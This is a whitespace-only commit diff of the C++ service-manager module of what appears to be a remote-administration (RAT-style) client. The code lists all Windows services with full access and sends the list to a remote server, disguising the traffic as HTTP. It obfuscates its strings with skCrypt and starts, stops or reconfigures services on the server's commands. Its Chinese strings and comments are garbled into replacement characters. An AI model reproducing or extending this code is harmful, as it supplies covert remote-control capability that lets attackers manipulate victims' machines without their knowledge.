style: Format source code and support grouping client
This commit is contained in:
@@ -12,7 +12,7 @@
|
||||
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendServicesList();
|
||||
SendServicesList();
|
||||
}
|
||||
|
||||
CServicesManager::~CServicesManager()
|
||||
@@ -22,12 +22,12 @@ CServicesManager::~CServicesManager()
|
||||
|
||||
VOID CServicesManager::SendServicesList()
|
||||
{
|
||||
LPBYTE szBuffer = GetServicesList();
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
LPBYTE szBuffer = GetServicesList();
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
#ifndef skCrypt
|
||||
@@ -36,285 +36,267 @@ VOID CServicesManager::SendServicesList()
|
||||
|
||||
LPBYTE CServicesManager::GetServicesList()
|
||||
{
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
|
||||
LPBYTE szBuffer = NULL;
|
||||
char szRunWay[256] = {0};
|
||||
char szAutoRun[256] = {0};
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
|
||||
LPBYTE szBuffer = NULL;
|
||||
char szRunWay[256] = {0};
|
||||
char szAutoRun[256] = {0};
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
|
||||
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
|
||||
|
||||
if (ServicesStatus==NULL)
|
||||
{
|
||||
CloseServiceHandle(m_hscManager);
|
||||
return NULL;
|
||||
}
|
||||
if (ServicesStatus==NULL) {
|
||||
CloseServiceHandle(m_hscManager);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD dwNeedsBytes = 0;
|
||||
DWORD dwServicesCount = 0;
|
||||
DWORD dwResumeHandle = 0;
|
||||
EnumServicesStatus(m_hscManager,
|
||||
SERVICE_WIN32, //CTL_FIX
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||
64 * 1024,
|
||||
&dwNeedsBytes,
|
||||
&dwServicesCount,
|
||||
&dwResumeHandle);
|
||||
DWORD dwNeedsBytes = 0;
|
||||
DWORD dwServicesCount = 0;
|
||||
DWORD dwResumeHandle = 0;
|
||||
EnumServicesStatus(m_hscManager,
|
||||
SERVICE_WIN32, //CTL_FIX
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||
64 * 1024,
|
||||
&dwNeedsBytes,
|
||||
&dwServicesCount,
|
||||
&dwResumeHandle);
|
||||
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||
{
|
||||
SC_HANDLE hServices = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||
SC_HANDLE hServices = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
|
||||
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
|
||||
if (hServices==NULL)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (hServices==NULL) {
|
||||
continue;
|
||||
}
|
||||
|
||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||
if (ServicesInfor == NULL)
|
||||
continue;
|
||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||
if (ServicesInfor == NULL)
|
||||
continue;
|
||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
|
||||
case SERVICE_STOPPED: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_START_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_STOP_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_RUNNING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_CONTINUE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSED: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szRunWay, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
|
||||
case SERVICE_STOPPED: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_START_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_STOP_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_RUNNING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_CONTINUE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSED: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szRunWay, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
switch (ServicesInfor->dwStartType) {
|
||||
case SERVICE_BOOT_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ں<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_SYSTEM_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("ϵͳ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_AUTO_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>Զ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DEMAND_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ֶ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DISABLED: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szAutoRun, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
switch (ServicesInfor->dwStartType) {
|
||||
case SERVICE_BOOT_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ں<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_SYSTEM_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("ϵͳ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_AUTO_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>Զ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DEMAND_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ֶ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DISABLED: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szAutoRun, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||
+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
|
||||
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (szBuffer == NULL)
|
||||
continue;
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||
+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
|
||||
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (szBuffer == NULL)
|
||||
continue;
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
|
||||
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
|
||||
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//·<><C2B7>
|
||||
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
|
||||
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//·<><C2B7>
|
||||
|
||||
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//<2F><><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(szRunWay) + 1;
|
||||
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//<2F><><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(szRunWay) + 1;
|
||||
|
||||
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(szAutoRun) + 1;
|
||||
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
||||
dwOffset += lstrlen(szAutoRun) + 1;
|
||||
|
||||
CloseServiceHandle(hServices);
|
||||
LocalFree(ServicesInfor); //Config
|
||||
}
|
||||
CloseServiceHandle(hServices);
|
||||
LocalFree(ServicesInfor); //Config
|
||||
}
|
||||
|
||||
CloseServiceHandle(m_hscManager);
|
||||
CloseServiceHandle(m_hscManager);
|
||||
|
||||
LocalFree(ServicesStatus);
|
||||
LocalFree(ServicesStatus);
|
||||
|
||||
return szBuffer;
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0])
|
||||
{
|
||||
case COMMAND_SERVICELIST:
|
||||
SendServicesList();
|
||||
break;
|
||||
case COMMAND_SERVICECONFIG: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_SERVICELIST:
|
||||
SendServicesList();
|
||||
break;
|
||||
case COMMAND_SERVICECONFIG: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bCommand = szBuffer[0];
|
||||
char *szServiceName = (char *)(szBuffer+1);
|
||||
BYTE bCommand = szBuffer[0];
|
||||
char *szServiceName = (char *)(szBuffer+1);
|
||||
|
||||
switch(bCommand)
|
||||
{
|
||||
case 1: //start
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if (NULL != hSCManager)
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
StartService(hService, NULL, NULL);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
switch(bCommand) {
|
||||
case 1: { //start
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if (NULL != hSCManager) {
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
StartService(hService, NULL, NULL);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
|
||||
case 2: //stop
|
||||
{
|
||||
SC_HANDLE hSCManager =
|
||||
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
|
||||
if ( NULL != hSCManager)
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
SERVICE_STATUS Status;
|
||||
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
|
||||
case 2: { //stop
|
||||
SC_HANDLE hSCManager =
|
||||
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
|
||||
if ( NULL != hSCManager) {
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SERVICE_STATUS Status;
|
||||
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 3: //auto
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if ( NULL != hSCManager )
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
|
||||
BOOL bOk = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 4: // DEMAND_START
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager )
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
|
||||
BOOL bOK = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 3: { //auto
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if ( NULL != hSCManager ) {
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
|
||||
BOOL bOk = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 4: { // DEMAND_START
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager ) {
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
|
||||
BOOL bOK = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user